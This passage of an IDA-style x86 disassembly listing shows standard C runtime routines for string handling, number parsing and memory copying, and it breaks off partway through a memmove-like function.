		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26A024Dh
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 26A08EAh
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


